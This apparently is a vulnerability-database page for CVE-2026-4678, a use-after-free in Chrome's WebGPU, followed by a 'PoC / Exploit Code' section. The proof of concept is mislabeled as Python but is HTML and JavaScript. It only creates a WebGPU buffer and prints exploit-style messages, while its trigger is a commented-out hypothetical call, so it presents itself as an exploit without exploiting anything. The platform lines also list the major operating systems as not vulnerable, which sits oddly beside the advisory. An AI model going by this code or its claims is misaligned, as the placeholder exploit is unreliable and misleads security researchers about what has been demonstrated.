Use after free in WebGPU in Google Chrome prior to 146.0.7680.165 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 146.0.7680.165
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
// Conceptual Proof of Concept for CVE-2026-4678
// This script demonstrates the logic to trigger the WebGPU UAF vulnerability.
// Usage: Open in a vulnerable Chrome version (< 146.0.7680.165)
-->
<html>
<head>
<title>CVE-2026-4678 PoC</title>
</head>
<body>
<script>
async function exploit() {
try {
// Check if WebGPU is supported
if (!navigator.gpu) {
console.log("[!] WebGPU is not supported on this browser.");
return;
}
console.log("[*] Initializing WebGPU adapter...");
const adapter = await navigator.gpu.requestAdapter();
const device = await adapter.requestDevice();
console.log("[*] Setting up UAF primitive...");
// Step 1: Create a buffer that will be freed unexpectedly
const bufferDescriptor = {
size: 1024,
usage: GPUBufferUsage.COPY_DST | GPUBufferUsage.MAP_READ
};
const vulnerableBuffer = device.createBuffer(bufferDescriptor);
// Step 2: Simulate the race condition or specific sequence that frees the buffer
// (In a real exploit, this involves precise timing and API calls specific to the bug)
// e.g. accessing a destroyed context or shader module
// Hypothetical trigger function
// triggerRaceCondition(device, vulnerableBuffer);
// Step 3: Attempt to access the freed memory to gain code execution
// This usually involves replacing the freed memory with a controlled object
console.log("[*] Attempting to access freed memory...");
// If successful, arbitrary code execution inside the sandbox is achieved
// This PoC stops here as it demonstrates the concept.
} catch (error) {
console.error("[x] Exploit failed: " + error);
}
}
// Run the exploit
exploit();
</script>
</body>
</html>